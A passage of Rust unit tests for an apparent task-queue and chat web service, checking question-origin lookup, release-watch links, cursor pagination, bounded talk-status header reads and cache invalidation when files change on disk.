25382            (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
25383            ("review", previous.runs[0].as_str(), true, true),
25384            (
25385                crate::bump::NOTICE_NODE,
25386                previous.runs[0].as_str(),
25387                true,
25388                false,
25389            ),
25390            // Identical text in the wrong reference namespace is not evidence.
25391            ("review", previous.id.as_str(), false, false),
25392            (crate::triage::NODE, previous.runs[0].as_str(), false, true),
25393            ("review", "unrelated", false, false),
25394        ] {
25395            let mut q = Question::new(
25396                reference.into(),
25397                node.into(),
25398                "seat".into(),
25399                "Question".into(),
25400                String::new(),
25401                vec![],
25402            );
25403            ui.questions.put(&mut q).unwrap();
25404            questions.push((q, expected, eligible));
25405        }
25406        for (node, reference, associated, eligible) in [
25407            (crate::reconcile::NODE, previous.id.as_str(), true, false),
25408            (
25409                crate::reconcile::NODE,
25410                previous.runs[0].as_str(),
25411                false,
25412                true,
25413            ),
25414            ("implement", previous.id.as_str(), false, false),
25415        ] {
25416            let mut q = Question::new(
25417                reference.into(),
25418                node.into(),
25419                crate::reconcile::SEAT.into(),
25420                "Reconcile".into(),
25421                String::new(),
25422                vec![],
25423            );
25424            ui.questions.put(&mut q).unwrap();
25425            questions.push((q, associated, eligible));
25426        }
25427        let mut release = Question::new(
25428            "release-record".into(),
25429            crate::bump::NOTICE_NODE.into(),
25430            "release-watch".into(),
25431            "Release".into(),
25432            String::new(),
25433            vec![],
25434        );
25435        ui.questions.put(&mut release).unwrap();
25436        let watch = crate::release_watch::WatchState {
25437            question: Some(release.id.clone()),
25438            run: Some(previous.runs[0].clone()),
25439            held_task: Some(previous.id.clone()),
25440            ..Default::default()
25441        };
25442        let watch_dir = home.path().join("release-watch");
25443        std::fs::create_dir_all(&watch_dir).unwrap();
25444        let watch_path = watch_dir.join("watch.json");
25445        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
25446        // Ordinary questions and bump notices do not need watch-store I/O.
25447        for batch in [
25448            Vec::new(),
25449            questions.iter().map(|(q, _, _)| q.clone()).collect(),
25450        ] {
25451            let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
25452            assert!(watches.is_empty());
25453        }
25454        questions.push((release.clone(), true, false));
25455
25456        let views = questions_list(State(ui.clone())).await.unwrap().0;
25457        let origins = question_origins(State(ui.clone())).await.unwrap().0;
25458        for (q, associated, eligible) in &questions {
25459            let view = views.iter().find(|view| view.question.id == q.id).unwrap();
25460            let origin = origins.iter().find(|view| view.id == q.id).unwrap();
25461            let expected = associated.then_some(chat.as_str());
25462            assert_eq!(
25463                view.origin_chat.as_deref(),
25464                expected,
25465                "{} {}",
25466                q.node,
25467                q.run
25468            );
25469            assert_eq!(origin.origin_chat.as_deref(), expected);
25470            assert_eq!(view.origin_chat_closed, *associated);
25471            assert_eq!(origin.origin_chat_closed, *associated);
25472            assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
25473            assert_eq!(origin.can_consult_chat, *eligible);
25474        }
25475        // Either saved link independently recovers a release question's owner.
25476        for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
25477            let link = crate::release_watch::WatchState {
25478                run,
25479                held_task,
25480                ..watch.clone()
25481            };
25482            std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
25483            let (tasks, talks, watches) =
25484                question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
25485            assert_eq!(
25486                crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
25487                    .unwrap()
25488                    .id,
25489                chat,
25490            );
25491            assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
25492        }
25493        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
25494        // Even identical duplicate records are ambiguous: ignore their links.
25495        let duplicate_path = watch_dir.join("duplicate.json");
25496        std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
25497        let (tasks, talks, watches) =
25498            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
25499        assert!(
25500            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
25501                .is_none()
25502        );
25503        std::fs::remove_file(duplicate_path).unwrap();
25504        // Another explicit owner is a conflict even if it has no chat.
25505        let mut unrelated = Task::new(
25506            "other".into(),
25507            String::new(),
25508            PathBuf::from("/repo"),
25509            Source::Human,
25510        );
25511        unrelated.id = "unrelated-task".into();
25512        ui.queue.put(&mut unrelated).unwrap();
25513        let mut conflicting = watch.clone();
25514        conflicting.held_task = Some(unrelated.id);
25515        std::fs::write(
25516            watch_dir.join("conflict.json"),
25517            serde_json::to_vec(&conflicting).unwrap(),
25518        )
25519        .unwrap();
25520        let (tasks, talks, watches) =
25521            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
25522        assert!(
25523            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
25524                .is_none()
25525        );
25526        std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
25527        std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
25528        for origin in question_origins(State(ui.clone())).await.unwrap().0 {
25529            assert!(origin.origin_chat.is_none());
25530            assert!(!origin.origin_chat_closed);
25531        }
25532    }
25533
25534    #[test]
25535    fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
25536        let home = tempfile::tempdir().unwrap();
25537        let ui = delta_test_ui(home.path());
25538        let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
25539        for i in 0..1000 {
25540            let mut task = Task::new(
25541                "unrelated".into(),
25542                "instruction ".repeat(256),
25543                PathBuf::from("/repo"),
25544                Source::Human,
25545            );
25546            task.id = format!("history-{i:04}");
25547            ui.queue.put(&mut task).unwrap();
25548            let id = seed_talk_at(&ui.talks, &task.id, "open");
25549            let mut talk = ui.talks.get(&id).unwrap();
25550            talk.pending = "history ".repeat(256);
25551            ui.talks.put(&mut talk).unwrap();
25552        }
25553        let mut parent = Task::new(
25554            "parent".into(),
25555            "body".into(),
25556            PathBuf::from("/repo"),
25557            Source::Agent {
25558                run: chat_id.clone(),
25559                node: crate::queue::CHAT_NODE.into(),
25560            },
25561        );
25562        parent.id = "task-parent".into();
25563        parent.runs = vec!["run-parent".into()];
25564        ui.queue.put(&mut parent).unwrap();
25565        let mut child = Task::new(
25566            "child".into(),
25567            "body".into(),
25568            PathBuf::from("/repo"),
25569            Source::Human,
25570        );
25571        child.id = "task-child".into();
25572        child.runs = vec!["run-child".into()];
25573        child.followup = Some(crate::queue::FollowUp {
25574            run: "run-parent".into(),
25575            origin_task: Some(parent.id.clone()),
25576            pr: "https://example.invalid/pr/1".into(),
25577            findings: vec![],
25578            generation: 1,
25579        });
25580        ui.queue.put(&mut child).unwrap();
25581        let mut question = Question::new(
25582            child.id.clone(),
25583            crate::conduct::NODE.into(),
25584            "seat".into(),
25585            "Continue?".into(),
25586            String::new(),
25587            vec![],
25588        );
25589        let (tasks, talks, _watches) =
25590            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25591        assert_eq!(tasks.len(), 2);
25592        assert_eq!(talks.len(), 1);
25593        assert_eq!(
25594            ui.monitor.queue_index.lock().unwrap().reparsed,
25595            0,
25596            "exact ancestry bypasses the index"
25597        );
25598        assert_eq!(
25599            crate::consult::origin_talk(&tasks, &talks, &question)
25600                .unwrap()
25601                .id,
25602            chat_id
25603        );
25604        question.run = "run-child".into();
25605        question.node = "review".into();
25606        for origin_task in [Some(parent.id.clone()), None] {
25607            child.followup.as_mut().unwrap().origin_task = origin_task;
25608            ui.queue.put(&mut child).unwrap();
25609            let (tasks, talks, _watches) =
25610                question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25611            let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
25612            let expected =
25613                crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
25614                    .unwrap();
25615            assert_eq!(actual.id, expected.id);
25616            assert!(!actual.status.open());
25617            let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
25618            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25619            // Without Unix file identity, every readable record must be
25620            // reparsed to detect same-size, same-mtime replacements safely.
25621            let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
25622            assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
25623        }
25624        child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
25625        ui.queue.put(&mut child).unwrap();
25626        std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
25627        let (tasks, talks, _watches) =
25628            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25629        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
25630        child.origin_chat = Some(chat_id.clone());
25631        ui.queue.put(&mut child).unwrap();
25632        let (tasks, talks, _watches) =
25633            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25634        assert_eq!(
25635            crate::consult::origin_talk(&tasks, &talks, &question)
25636                .unwrap()
25637                .id,
25638            chat_id
25639        );
25640        let revision = question_record_revision(&question);
25641        question.abandon("settled elsewhere");
25642        assert_ne!(revision, question_record_revision(&question));
25643        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
25644        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
25645        std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
25646        let (tasks, talks, _watches) =
25647            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25648        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
25649    }
25650
25651    #[test]
25652    fn list_cursors_freeze_membership_and_expire_explicitly() {
25653        let home = tempfile::tempdir().unwrap();
25654        let ui = delta_test_ui(home.path());
25655        std::fs::create_dir_all(ui.queue.root()).unwrap();
25656        for i in 0..40 {
25657            std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
25658        }
25659        let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
25660        assert_eq!(first.len(), STORE_PAGE_SIZE);
25661        let cursor = cursor.unwrap();
25662        std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
25663        std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
25664        let (second, _) = page_ids(
25665            &ui,
25666            false,
25667            PageQuery {
25668                before: Some(cursor.clone()),
25669            },
25670        )
25671        .unwrap();
25672        assert_eq!(second[0], "record-0023");
25673        assert!(second.iter().all(|id| !first.contains(id)));
25674        assert!(
25675            page_ids(
25676                &ui,
25677                true,
25678                PageQuery {
25679                    before: Some(cursor.clone())
25680                }
25681            )
25682            .is_err()
25683        );
25684        let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
25685        assert_eq!(fresh[0], "record-9999");
25686        ui.monitor.list_walks.lock().unwrap().clear();
25687        assert!(
25688            page_ids(
25689                &ui,
25690                false,
25691                PageQuery {
25692                    before: Some(cursor)
25693                }
25694            )
25695            .is_err()
25696        );
25697    }
25698
25699    #[tokio::test]
25700    async fn talk_pages_load_every_open_then_frozen_closed_history() {
25701        let home = tempfile::tempdir().unwrap();
25702        let ui = delta_test_ui(home.path());
25703        // Every closed conversation is newer by ID than every open conversation.
25704        for i in 0..23 {
25705            seed_talk_at(&ui.talks, &format!("20260101-000000-{i:03}"), "open");
25706        }
25707        for i in 0..45 {
25708            seed_talk_at(&ui.talks, &format!("20261019-000000-{i:03}"), "closed");
25709        }
25710        std::fs::write(ui.talks.path_of("20261020-000000-corrupt"), "broken").unwrap();
25711        let first = talks_page(
25712            State(ui.clone()),
25713            Query(PageQuery::default()),
25714            header::HeaderMap::new(),
25715        )
25716        .await
25717        .unwrap()
25718        .0;
25719        assert_eq!(
25720            first.rows.iter().filter(|row| row.status.open()).count(),
25721            23
25722        );
25723        assert_eq!(first.rows.len(), 23 + STORE_PAGE_SIZE - 1);
25724        assert!(first.rows[..23].iter().all(|row| row.status.open()));
25725        let parsed = ui
25726            .monitor
25727            .talk_parses
25728            .load(std::sync::atomic::Ordering::Relaxed);
25729        assert_eq!(
25730            parsed,
25731            first.rows.len(),
25732            "closed bodies outside this page are not restored"
25733        );
25734        let fresh = talks_page(
25735            State(ui.clone()),
25736            Query(PageQuery::default()),
25737            header::HeaderMap::new(),
25738        )
25739        .await
25740        .unwrap()
25741        .0;
25742        assert_eq!(fresh.rows.len(), first.rows.len());
25743        assert_eq!(
25744            ui.monitor
25745                .talk_parses
25746                .load(std::sync::atomic::Ordering::Relaxed),
25747            parsed
25748        );
25749        let mut seen: std::collections::HashSet<_> =
25750            first.rows.iter().map(|row| row.id.clone()).collect();
25751        // Status changes keep their original membership position until refresh.
25752        seed_talk_at(&ui.talks, "20261019-000000-000", "open");
25753        seed_talk_at(&ui.talks, "20260101-000000-000", "closed");
25754        std::fs::remove_file(ui.talks.path_of("20261019-000000-001")).unwrap();
25755        let mut next = first.next;
25756        while let Some(cursor) = next {
25757            let page = talks_page(
25758                State(ui.clone()),
25759                Query(PageQuery {
25760                    before: Some(cursor),
25761                }),
25762                header::HeaderMap::new(),
25763            )
25764            .await
25765            .unwrap()
25766            .0;
25767            assert!(page.rows.len() <= STORE_PAGE_SIZE);
25768            for row in page.rows {
25769                assert!(seen.insert(row.id), "a cursor must not repeat membership");
25770            }
25771            next = page.next;
25772        }
25773        let expected: HashSet<_> = (0..23)
25774            .map(|i| format!("20260101-000000-{i:03}"))
25775            .chain(
25776                (0..45)
25777                    .filter(|i| *i != 1)
25778                    .map(|i| format!("20261019-000000-{i:03}")),
25779            )
25780            .collect();
25781        assert_eq!(
25782            seen, expected,
25783            "the cursor walk must return every surviving ID"
25784        );
25785        let refreshed = talks_page(
25786            State(ui.clone()),
25787            Query(PageQuery::default()),
25788            header::HeaderMap::new(),
25789        )
25790        .await
25791        .unwrap()
25792        .0;
25793        assert_eq!(
25794            refreshed
25795                .rows
25796                .iter()
25797                .filter(|row| row.status.open())
25798                .count(),
25799            23
25800        );
25801        assert!(
25802            refreshed
25803                .rows
25804                .iter()
25805                .any(|row| row.id == "20261019-000000-000")
25806        );
25807        assert!(
25808            !refreshed
25809                .rows
25810                .iter()
25811                .any(|row| row.id == "20260101-000000-000")
25812        );
25813    }
25814
25815    #[test]
25816    fn talk_pages_with_only_open_rows_have_no_history_cursor() {
25817        let home = tempfile::tempdir().unwrap();
25818        let ui = delta_test_ui(home.path());
25819        for i in 0..STORE_PAGE_SIZE + 5 {
25820            seed_talk_at(&ui.talks, &format!("open-{i:03}"), "open");
25821        }
25822        let (ids, next) = page_ids(&ui, true, PageQuery::default()).unwrap();
25823        assert_eq!(ids.len(), STORE_PAGE_SIZE + 5);
25824        assert!(next.is_none());
25825    }
25826
25827    #[test]
25828    fn talk_status_header_reads_are_bounded_independently_of_transcript_size() {
25829        struct Counted<R> {
25830            inner: R,
25831            bytes: usize,
25832        }
25833        impl<R: std::io::Read> std::io::Read for Counted<R> {
25834            fn read(&mut self, buf: &mut [u8]) -> std::io::Result<usize> {
25835                let n = self.inner.read(buf)?;
25836                self.bytes += n;
25837                Ok(n)
25838            }
25839        }
25840        let home = tempfile::tempdir().unwrap();
25841        let ui = delta_test_ui(home.path());
25842        let id = seed_talk_at(&ui.talks, "header-chat", "closed");
25843        let mut chat = ui.talks.get(&id).unwrap();
25844        for size in [0, 1024 * 1024, 8 * 1024 * 1024] {
25845            chat.turns = vec![
25846                serde_json::from_value(serde_json::json!({
25847                    "who": "agent", "body": "x".repeat(size), "at": chat.updated_at,
25848                }))
25849                .unwrap(),
25850            ];
25851            for status in [talk::TalkStatus::Closed, talk::TalkStatus::Open] {
25852                chat.status = status;
25853                // Exercise the actual on-disk serializer, including its field order.
25854                let body = serde_json::to_vec_pretty(&chat).unwrap();
25855                let mut reader = Counted {
25856                    inner: body.as_slice(),
25857                    bytes: 0,
25858                };
25859                assert_eq!(read_talk_status(&mut reader), Some(status));
25860                assert!(
25861                    reader.bytes <= 1024,
25862                    "header classification read {} bytes",
25863                    reader.bytes
25864                );
25865            }
25866        }
25867        // Noncanonical field order must neither traverse a transcript nor hide
25868        // an open row. Its real status is validated by the ordinary row reader.
25869        let noncanonical = format!(
25870            r#"{{"turns":[{{"body":"{}"}}],"status":"open"}}"#,
25871            "x".repeat(1024 * 1024)
25872        );
25873        let mut reader = Counted {
25874            inner: noncanonical.as_bytes(),
25875            bytes: 0,
25876        };
25877        assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
25878        assert!(reader.bytes <= 1024);
25879        let oversized = format!(
25880            r#"{{"agent":"{}","status":"open"}}"#,
25881            "x".repeat(128 * 1024)
25882        );
25883        let mut reader = Counted {
25884            inner: oversized.as_bytes(),
25885            bytes: 0,
25886        };
25887        assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
25888        assert!(reader.bytes <= 64 * 1024);
25889    }
25890
25891    #[test]
25892    fn talk_header_classification_does_not_hold_the_queue_cursor_registry() {
25893        let home = tempfile::tempdir().unwrap();
25894        let ui = delta_test_ui(home.path());
25895        seed_talk_at(&ui.talks, "header-chat", "open");
25896        std::fs::create_dir_all(ui.queue.root()).unwrap();
25897        let (started, ready) = std::sync::mpsc::channel();
25898        let (release, wait) = std::sync::mpsc::channel();
25899        let chat_ui = ui.clone();
25900        let scan = std::thread::spawn(move || {
25901            page_ids_with(&chat_ui, true, PageQuery::default(), |ui, ids| {
25902                started.send(()).unwrap();
25903                wait.recv().unwrap();
25904                open_talk_ids(ui, ids)
25905            })
25906            .unwrap()
25907        });
25908        ready.recv_timeout(Duration::from_secs(2)).unwrap();
25909        let (finished, result) = std::sync::mpsc::channel();
25910        let queue = std::thread::spawn(move || {
25911            finished
25912                .send(page_ids(&ui, false, PageQuery::default()).is_ok())
25913                .unwrap();
25914        });
25915        let completed = result.recv_timeout(Duration::from_secs(2));
25916        // Release and join both workers even if the regression returns.
25917        release.send(()).unwrap();
25918        scan.join().unwrap();
25919        queue.join().unwrap();
25920        assert!(
25921            completed.unwrap(),
25922            "queue paging must not wait for chat header I/O"
25923        );
25924    }
25925
25926    #[test]
25927    fn talk_status_projection_does_not_cache_files_changed_during_read() {
25928        let home = tempfile::tempdir().unwrap();
25929        let ui = delta_test_ui(home.path());
25930        let ids = vec!["changing-chat".to_owned()];
25931        seed_talk_at(&ui.talks, &ids[0], "closed");
25932        assert!(open_talk_ids(&ui, &ids).is_empty());
25933        seed_talk_at(&ui.talks, &ids[0], "open");
25934        let open = open_talk_ids_with(&ui, &ids, cfg!(unix), |path| {
25935            let value: serde_json::Value =
25936                serde_json::from_slice(&std::fs::read(path).unwrap()).unwrap();
25937            // Replace the file after parsing, before its identity is checked again.
25938            seed_talk_at(&ui.talks, &ids[0], "closed");
25939            serde_json::from_value(value["status"].clone()).ok()
25940        });
25941        assert!(open.contains(&ids[0]));
25942        assert!(
25943            ui.monitor
25944                .talk_status_index
25945                .lock()
25946                .unwrap()
25947                .records
25948                .is_empty()
25949        );
25950        assert!(open_talk_ids(&ui, &ids).is_empty());
25951        assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, 3);
25952    }
25953
25954    #[test]
25955    fn talk_status_projection_rereads_when_metadata_cannot_prove_identity() {
25956        let home = tempfile::tempdir().unwrap();
25957        let ui = delta_test_ui(home.path());
25958        let ids = vec!["same-stamp-chat".to_owned()];
25959        seed_talk_at(&ui.talks, &ids[0], "open");
25960        // Model a non-Unix metadata collision deterministically: the old
25961        // classification has a fingerprint equal to the current file's.
25962        ui.monitor.talk_status_index.lock().unwrap().records.insert(
25963            ids[0].clone(),
25964            (
25965                file_identity(&ui.talks.path_of(&ids[0])).unwrap(),
25966                Some(talk::TalkStatus::Closed),
25967            ),
25968        );
25969        let open = open_talk_ids_with(&ui, &ids, false, |path| {
25970            std::fs::File::open(path).ok().and_then(read_talk_status)
25971        });
25972        assert!(
25973            open.contains(&ids[0]),
25974            "an untrusted cache hit must still read the current header"
25975        );
25976        assert!(
25977            ui.monitor
25978                .talk_status_index
25979                .lock()
25980                .unwrap()
25981                .records
25982                .is_empty()
25983        );
25984        seed_talk_at(&ui.talks, &ids[0], "closed");
25985        assert!(
25986            open_talk_ids_with(&ui, &ids, false, |path| {
25987                std::fs::File::open(path).ok().and_then(read_talk_status)
25988            })
25989            .is_empty()
25990        );
25991        let index = ui.monitor.talk_status_index.lock().unwrap();
25992        assert_eq!(index.parses, 2);
25993        assert!(
25994            index.records.is_empty(),
25995            "untrusted fingerprints must never publish cache entries"
25996        );
25997    }
25998
25999    #[test]
26000    fn talk_rows_cache_shrinks_without_reparsing_open_rows() {
26001        let home = tempfile::tempdir().unwrap();
26002        let ui = delta_test_ui(home.path());
26003        let headers = header::HeaderMap::new();
26004        seed_talk_at(&ui.talks, "open-chat", "open");
26005        seed_talk_at(&ui.talks, "closed-chat", "closed");
26006        talk_rows(
26007            &ui,
26008            vec!["open-chat".into(), "closed-chat".into()],
26009            &headers,
26010        );
26011        {
26012            let mut index = ui.monitor.talk_index.lock().unwrap();
26013            let closed = index["closed-chat"].1.clone();
26014            for i in 0..1000 {
26015                index.insert(
26016                    format!("cached-closed-{i}"),
26017                    (
26018                        file_identity(&ui.talks.path_of("closed-chat")).unwrap(),
26019                        closed.clone(),
26020                    ),
26021                );
26022            }
26023        }
26024        assert_eq!(
26025            talk_rows(&ui, vec!["closed-chat".into()], &headers).len(),
26026            1
26027        );
26028        assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 2);
26029        assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
26030        assert_eq!(
26031            ui.monitor
26032                .talk_parses
26033                .load(std::sync::atomic::Ordering::Relaxed),
26034            2
26035        );
26036        {
26037            let mut index = ui.monitor.talk_index.lock().unwrap();
26038            let open = index["open-chat"].1.clone();
26039            for i in 0..1000 {
26040                index.insert(
26041                    format!("cached-open-{i}"),
26042                    (
26043                        file_identity(&ui.talks.path_of("open-chat")).unwrap(),
26044                        open.clone(),
26045                    ),
26046                );
26047            }
26048        }
26049        // Even when open rows exceed the bound, keep the currently requested rows.
26050        assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
26051        assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 1);
26052        assert_eq!(
26053            ui.monitor
26054                .talk_parses
26055                .load(std::sync::atomic::Ordering::Relaxed),
26056            2
26057        );
26058    }
26059
26060    #[test]
26061    fn talk_status_projection_reuses_large_indexes_and_prunes_deleted_files() {
26062        let home = tempfile::tempdir().unwrap();
26063        let ui = delta_test_ui(home.path());
26064        std::fs::create_dir_all(ui.talks.root()).unwrap();
26065        let ids: Vec<_> = (0..1050).map(|i| format!("chat-{i:04}")).collect();
26066        for id in &ids {
26067            std::fs::write(
26068                ui.talks.path_of(id),
26069                r#"{"status":"closed","turns":[{"body":"ignored"}]}"#,
26070            )
26071            .unwrap();
26072        }
26073        assert!(open_talk_ids(&ui, &ids).is_empty());
26074        assert_eq!(
26075            ui.monitor.talk_status_index.lock().unwrap().parses,
26076            ids.len()
26077        );
26078        assert!(open_talk_ids(&ui, &ids).is_empty());
26079        let reused = if cfg!(unix) { ids.len() } else { 2 * ids.len() };
26080        assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, reused);
26081        std::fs::write(ui.talks.path_of(&ids[0]), r#"{"status":"open"}"#).unwrap();
26082        std::fs::write(ui.talks.path_of(&ids[1]), "broken").unwrap();
26083        assert_eq!(
26084            open_talk_ids(&ui, &ids),
26085            std::collections::HashSet::from([ids[0].clone()])
26086        );
26087        let parsed = ui.monitor.talk_status_index.lock().unwrap().parses;
26088        let refreshed = if cfg!(unix) { 2 } else { ids.len() };
26089        assert_eq!(parsed, reused + refreshed);
26090        open_talk_ids(&ui, &ids);
26091        assert_eq!(
26092            ui.monitor.talk_status_index.lock().unwrap().parses,
26093            parsed + if cfg!(unix) { 0 } else { ids.len() },
26094            "only reliable file identity permits caching, including unreadable rows"
26095        );
26096        std::fs::remove_file(ui.talks.path_of(&ids[0])).unwrap();
26097        assert!(open_talk_ids(&ui, &ids[1..]).is_empty());
26098        assert!(
26099            !ui.monitor
26100                .talk_status_index
26101                .lock()
26102                .unwrap()
26103                .records
26104                .contains_key(&ids[0])
26105        );
26106        assert!(
26107            ui.monitor.talk_index.lock().unwrap().is_empty(),
26108            "classification never caches bodies"
26109        );
26110    }
26111
26112    #[tokio::test]
26113    async fn stats_queue_index_counts_only_fresh_readable_statuses() {
26114        let home = tempfile::tempdir().unwrap();
26115        let ui = delta_test_ui(home.path());
26116        let mut task = Task::new(
26117            "task".into(),
26118            "body".into(),
26119            PathBuf::from("/repo"),
26120            Source::Human,
26121        );
26122        ui.queue.put(&mut task).unwrap();
26123        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
26124        let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
26125        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
26126        let expected = parsed + usize::from(!cfg!(unix));
26127        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
26128        task.status = crate::queue::TaskStatus::Held;
26129        ui.queue.put(&mut task).unwrap();
26130        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
26131        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
26132        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
26133        ui.queue.put(&mut task).unwrap();
26134        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
26135        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
26136        assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
26137    }
26138
26139    #[tokio::test]
26140    async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
26141        let home = tempfile::tempdir().unwrap();
26142        let ui = delta_test_ui(home.path());
26143        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
26144        let before = health(State(ui.clone())).await.unwrap().0;
26145        ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
26146        let after = health(State(ui)).await.unwrap().0;
26147        assert_ne!(before.notifications_rev, after.notifications_rev);
26148        assert_eq!(after.notifications_unread, 1);
26149    }
26150
26151    #[tokio::test]
26152    async fn list_pages_bound_history_and_keep_dependency_evidence() {
26153        let home = tempfile::tempdir().unwrap();
26154        let ui = delta_test_ui(home.path());
26155        let queue = &ui.queue;
26156        let talks = &ui.talks;
26157        for i in 0..1000 {
26158            let id = format!("20261019-{i:06}-page");
26159            let mut task = Task::new(
26160                "task".into(),
26161                "instruction".repeat(100),
26162                PathBuf::from("/repo/magi"),
26163                Source::Human,
26164            );
26165            task.id = id.clone();
26166            if i == 0 {
26167                task.status = crate::queue::TaskStatus::Held;
26168            } else if i == 999 {
26169                task.status = crate::queue::TaskStatus::Blocked;
26170                task.blocked_by = vec!["20261019-000000-page".into()];
26171            }
26172            queue.put(&mut task).unwrap();
26173            seed_talk_at(talks, &id, "closed");
26174        }
26175        let page = serde_json::to_value(
26176            queue_page(State(ui.clone()), Query(PageQuery::default()))
26177                .await
26178                .unwrap()
26179                .0,
26180        )
26181        .unwrap();
26182        assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
26183        assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
26184        assert!(
26185            !page["rows"][0]["stuck_roots"]
26186                .as_array()
26187                .unwrap()
26188                .is_empty()
26189        );
26190        let cursor = page["next"].as_str().unwrap();
26191        let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
26192            .as_str()
26193            .unwrap();
26194        // Deleting an already enumerated file cannot shift or repeat a page.
26195        std::fs::remove_file(queue.path_of(last_id)).unwrap();
26196        let next = serde_json::to_value(
26197            queue_page(
26198                State(ui.clone()),
26199                Query(PageQuery {
26200                    before: Some(cursor.into()),
26201                }),
26202            )
26203            .await
26204            .unwrap()
26205            .0,
26206        )
26207        .unwrap();
26208        assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
26209        assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
26210        let chats = serde_json::to_value(
26211            talks_page(
26212                State(ui.clone()),
26213                Query(PageQuery::default()),
26214                header::HeaderMap::new(),
26215            )
26216            .await
26217            .unwrap()
26218            .0,
26219        )
26220        .unwrap();
26221        assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
26222        assert!(chats["rows"][0].get("pending").is_none());
26223        assert!(chats["rows"][0].get("turn_bodies_md").is_none());
26224        let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
26225        assert_eq!(counts["held"], 1);
26226        assert_eq!(counts["blocked"], 1);
26227        assert_eq!(counts["queued"], 997);
26228    }
26229
26230    #[test]
26231    fn queue_index_observes_external_replacement_deletion_and_corruption() {
26232        let dir = tempfile::tempdir().unwrap();
26233        let ui = delta_test_ui(dir.path());
26234        let mut task = Task::new(
26235            "task".into(),
26236            "body".into(),
26237            PathBuf::from("/repo"),
26238            Source::Human,
26239        );
26240        task.runs = vec!["run-a".into()];
26241        ui.queue.put(&mut task).unwrap();
26242        assert!(ui.find_task_for_run("run-a").unwrap().is_some());
26243        task.runs = vec!["run-b".into()];
26244        let path = ui.queue.path_of(&task.id);
26245        let modified = path.metadata().unwrap().modified().unwrap();
26246        let replacement = path.with_extension("replacement");
26247        let bytes = serde_json::to_vec_pretty(&task).unwrap();
26248        assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
26249        std::fs::write(&replacement, &bytes).unwrap();
26250        std::fs::File::options()
26251            .write(true)
26252            .open(&replacement)
26253            .unwrap()
26254            .set_times(std::fs::FileTimes::new().set_modified(modified))
26255            .unwrap();
26256        std::fs::rename(&replacement, &path).unwrap();
